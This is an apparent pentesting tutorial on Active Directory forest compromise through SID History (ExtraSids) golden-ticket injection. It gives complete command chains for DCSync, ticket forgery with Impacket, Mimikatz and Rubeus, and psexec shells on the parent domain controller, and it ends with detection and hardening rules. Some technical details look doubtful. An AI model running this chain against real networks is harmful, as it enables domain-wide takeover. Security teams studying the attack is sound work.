Active Directory Forest Trust Exploitation: SID History Injection & ExtraSids Masterclass (2026 Edition)

Active Directory Forest Trust Exploitation: SID History Injection & ExtraSids Masterclass (2026 Edition)

Author: Syed Zada Abrar (Invisibl3Sentinel)
Published: September 6, 2026
Category: Active Directory Security / Enterprise Pentesting
Difficulty: Advanced
Prerequisites: Active Directory Fundamentals, Kerberos Authentication, Domain Administrator Privileges in a Child Domain, Kali Linux / Impacket / Mimikatz / Rubeus toolsets.

Executive Summary & Step-0 Intuition (BLUF)

In enterprise Active Directory (AD) environments, organizations frequently construct multi-domain hierarchies—such as corp.internal (parent root domain) and uk.corp.internal (child domain)—to manage regional operations or administrative boundaries. A widespread architectural misconception among IT administrators is that a domain is an isolation boundary.

Microsoft’s official security specification explicitly defines the Forest as the only security boundary in Active Directory. Whenever a child domain is joined to a parent domain, Active Directory automatically creates a two-way, transitive, intra-forest trust. By default, intra-forest trusts turn off or relax SID Filtering to allow seamless cross-domain resource administration.

+-------------------------------------------------------------------------+
|                          PARENT ROOT DOMAIN                             |
|                        (corp.internal)                                  |
|         Domain SID: S-1-5-21-3842939050-3880317879-2865463114             |
|         Enterprise Admins Group RID: 519                                |
+-------------------------------------------------------------------------+
                                    ^
                                    |  Automatic 2-Way Transitive Trust
                                    |  (SID Filtering Disabled by Default)
                                    v
+-------------------------------------------------------------------------+
|                            CHILD DOMAIN                                 |
|                         (uk.corp.internal)                              |
|         Domain SID: S-1-5-21-2806153819-209893948-922872689               |
|         Attacker Status: Compromised Domain Admin (RID 500/512)         |
+-------------------------------------------------------------------------+

The Attack Vector at a Glance

When an attacker compromises Domain Administrator privileges within a child domain:

1. The attacker extracts the child domain's KRBTGT account NTLM hash or AES key via DCSync.
2. The attacker retrieves the Child Domain SID and the Parent Forest Enterprise Admins Group SID (Parent Domain SID + -519).
3. Using ticketer.py, Mimikatz, or Rubeus, the attacker forges a Kerberos Ticket Granting Ticket (TGT) for the child domain and injects the parent domain's Enterprise Admins SID into the sIDHistory (ExtraSIDs) attribute of the ticket.
4. Because intra-forest trust trust-validation accepts user-asserted SID History attributes, the Parent Domain Controller trusts the forged referral TGT, granting the attacker full Enterprise Admin access across the entire forest root.

Architectural Deep-Dive: Kerberos Referrals & SID History

1. Understanding sIDHistory

The sIDHistory attribute was introduced by Microsoft to facilitate seamless domain migrations (e.g., migrating users from legacy.com to corp.com). When a user account moves to a new domain, their previous Security Identifier (SID) is recorded in sIDHistory. When authenticating, the Key Distribution Center (KDC) reads sIDHistory and embeds those SIDs into the user's Authorization Data (PAC - Privilege Attribute Certificate), preserving legacy permissions.

2. Intra-Forest vs. Inter-Forest Trust Filtering

• Intra-Forest Trusts (Parent-Child / Tree-Root): Trust relationships formed within the same forest implicitly trust SIDs originating from member domains. SID Filtering is disabled for domain SIDs inside the forest, meaning any SID appended to sIDHistory is passed through the domain boundary unchecked.
• Inter-Forest Trusts (Forest-to-Forest / External): Trust relationships between distinct forests enforce SID Filtering (Quarantining) by default. The KDC strips any cross-forest SIDs present in sIDHistory unless explicit exemptions (such as TREAT_AS_EXTERNAL flags or SID filtering relaxation) exist.

Phase 1: Environment & Forest Trust Enumeration

Before executing the exploit chain, we must verify the trust topology, trust flags, and target SIDs.

Linux Enumeration (NetExec & PyWerView)

Utilize netexec (or crackmapexec) from Kali Linux to list active domain trusts and identify parent controllers:

# Enumerate Domain Trust Relationships
netexec smb 172.16.5.240 -u 'uk_admin' -p 'P@ssword123!' -d 'uk.corp.internal' --trusts

# Retrieve Domain SIDs via Impacket's lookupsid.py
lookupsid.py uk.corp.internal/uk_admin:'P@ssword123!'@172.16.5.240 | grep -E "(Domain SID|Enterprise Admins)"

Windows Enumeration (PowerShell & PowerView)

From a compromised Windows host within the child domain, query trust attributes using PowerView or native ActiveDirectory modules:

# Enumerate Domain Trusts via Native PowerShell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# Enumerate Trust Details with PowerView
Get-DomainTrust -Domain uk.corp.internal

# Retrieve Child Domain SID
Get-DomainSID

# Retrieve Parent Domain SID (Querying Parent DC directly)
Get-DomainSID -Domain corp.internal

Phase 2: Extracting Domain Secrets & SIDs

To forge cross-domain Kerberos tickets, we require three critical pieces of data:

1. Child Domain KRBTGT Hash: NTLM hash or AES256 key of the child domain krbtgt account.
2. Child Domain SID: e.g., S-1-5-21-2806153819-209893948-922872689
3. Parent Enterprise Admins Group SID: Parent Domain SID + -519 (e.g., S-1-5-21-3842939050-3880317879-2865463114-519)

Extracting KRBTGT Hash via DCSync

Using impacket-secretsdump from Kali Linux:

# Execute DCSync against Child Domain Controller
impacket-secretsdump uk.corp.internal/uk_admin:'P@ssword123!'@172.16.5.240 -just-dc-user UK/krbtgt

Example Output:

[*] Dumping Domain Credentials (vols)
[*] Press help for extra shell commands
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::

Phase 3: Golden Ticket ExtraSIDs Injection Attack

Method A: Linux Attack Chain (Impacket ticketer.py)

Step 1: Forge Cross-Domain Golden Ticket with ExtraSID

Using ticketer.py, forge a TGT for an arbitrary user (e.g., hacker), injecting the Enterprise Admins SID into the -extra-sid flag:

impacket-ticketer \
  -nthash 9d765b482771505cbe97411065964d5f \
  -domain uk.corp.internal \
  -domain-sid S-1-5-21-2806153819-209893948-922872689 \
  -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 \
  -user hacker \
  hacker_ea.ccache

Step 2: Load Ticket and Authenticate to Parent DC

Export the credential cache into the environment and launch administrative commands against the Parent DC (dc01.corp.internal / 172.16.5.5):

# Export Kerberos Ticket Cache
export KRB5CCNAME=$(pwd)/hacker_ea.ccache

# Verify Ticket Cache Information
klist

# Execute DCSync on Parent Root Domain Controller via Pass-The-Ticket
impacket-secretsdump -k -no-pass corp.internal/hacker@dc01.corp.internal -just-dc-user CORP/administrator

# Obtain Interactive SYSTEM Shell on Parent DC
impacket-psexec -k -no-pass corp.internal/hacker@dc01.corp.internal

Method B: Windows Attack Chain (Mimikatz & Rubeus)

Mimikatz Ticket Forgery & Injection:

:: Launch Mimikatz with Administrative Rights
mimikatz.exe

:: Forge Golden Ticket with ExtraSID and Inject into Current LSA Session
kerberos::golden /user:hacker /domain:uk.corp.internal /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /krbtgt:9d765b482771505cbe97411065964d5f /ptt

:: Access Parent DC C$ Share
dir \\dc01.corp.internal\c$

Rubeus Ticket Forgery & PTT:

:: Forge TGT and Import directly into Memory
Rubeus.exe golden /user:hacker /domain:uk.corp.internal /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /rc4:9d765b482771505cbe97411065964d5f /ptt

:: Verify Kerberos Tickets in Memory
klist

Phase 4: Advanced Vector - Inter-Realm Trust Key Exploitation

In hardened environments where the krbtgt account hash is frequently rotated or closely monitored, an attacker who has compromised the child DC can extract the Interdomain Trust Key (DOLLARS$ trust account password hash) instead of krbtgt.

Step 1: Extract Interdomain Trust Key

Extract the trust account hash for CORP$ (the trust relationship object) using secretsdump:

impacket-secretsdump uk.corp.internal/uk_admin:'P@ssword123!'@172.16.5.240 -just-dc-user 'CORP$'

Step 2: Forge Inter-Realm Referral TGT

Use ticketer.py with the -interdomain flag:

impacket-ticketer \
  -nthash e564c7d0d0879e6027a42b9d885a53e6 \
  -domain uk.corp.internal \
  -domain-sid S-1-5-21-2806153819-209893948-922872689 \
  -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 \
  -user hacker \
  -interdomain \
  interrealm_tgt.ccache

Because the Interdomain Trust Key is shared directly between the child DC and parent DC, presenting this referral ticket to the parent DC allows the attacker to request TGS service tickets for parent resources without ever touching the child domain's krbtgt account!

Phase 5: Detection Engineering & Hardening Architecture

Security engineers and SOC teams must deploy multi-layered detection strategies to identify ExtraSIDs attacks and enforce strict trust isolation.

1. Enabling SID Filtering on Inter-Forest & Vulnerable Trusts

To prevent SID History manipulation across trust boundaries, enforce SID filtering via netdom:

:: Enable SID Filtering on Specific Trust (Run on Parent DC)
netdom trust uk.corp.internal /domain:corp.internal /enableSIDFiltering:yes

:: Verify Trust SID Filtering Status
netdom trust uk.corp.internal /domain:corp.internal /verify

2. PowerShell Audit for Unauthorized sIDHistory Attributes

Scan all domain users for non-empty sIDHistory attributes to catch persistent backdoors:

# Audit Users with Active sIDHistory
Get-ADUser -Filter 'sidhistory -like "*"' -Properties sidhistory | Select-Object Name, SamAccountName, SID, @{N="SIDHistory";E={$_.sidhistory -join ","}}

3. Microsoft Sentinel KQL Detection Rules

Rule 1: Detection of SID History Modification (Event ID 4765)

Event ID 4765 is generated whenever sIDHistory is added to a user object in Active Directory.

SecurityEvent
| where EventID == 4765
| project TimeGenerated, Computer, Account, TargetUserName, SubjectUserName, Activity, EventData
| extend AddedSID = extract(@"SidHistory\s+=\s+([^\s]+)", 1, EventData)
| summarize Count=count() by TargetUserName, AddedSID, SubjectUserName, bin(TimeGenerated, 1h)

Rule 2: Inter-Realm TGT Request with High-Privilege SID Injections

Detect Kerberos TGT requests containing SIDs outside the issuing domain namespace (Event ID 4768 / 4769):

SecurityEvent
| where EventID in (4768, 4769)
| where TicketOptions contains "0x40800000" or ServiceName startswith "krbtgt/"
| extend TargetSid = extract(@"TargetSid\s+=\s+([^\s]+)", 1, EventData)
| where TargetSid endswith "-519" or TargetSid endswith "-512"
| project TimeGenerated, Computer, TargetUserName, ServiceName, TicketEncryptionType, IpAddress

Conclusion & Key Takeaways

1. Forest is the Boundary: Child domain administrators possess implicit, full-control access to the parent forest root via SID History injection (ExtraSIDs) unless strict SID filtering is explicitly configured.
2. Beyond KRBTGT: Attackers can utilize Interdomain Trust Keys to generate inter-realm referral TGTs, bypassing krbtgt hash rotation.
3. Hardening Focus: SOC teams must monitor Windows Event IDs 4765 and 4766, continuously audit sIDHistory attributes, and enforce SID Filtering across all external and inter-forest trust boundaries.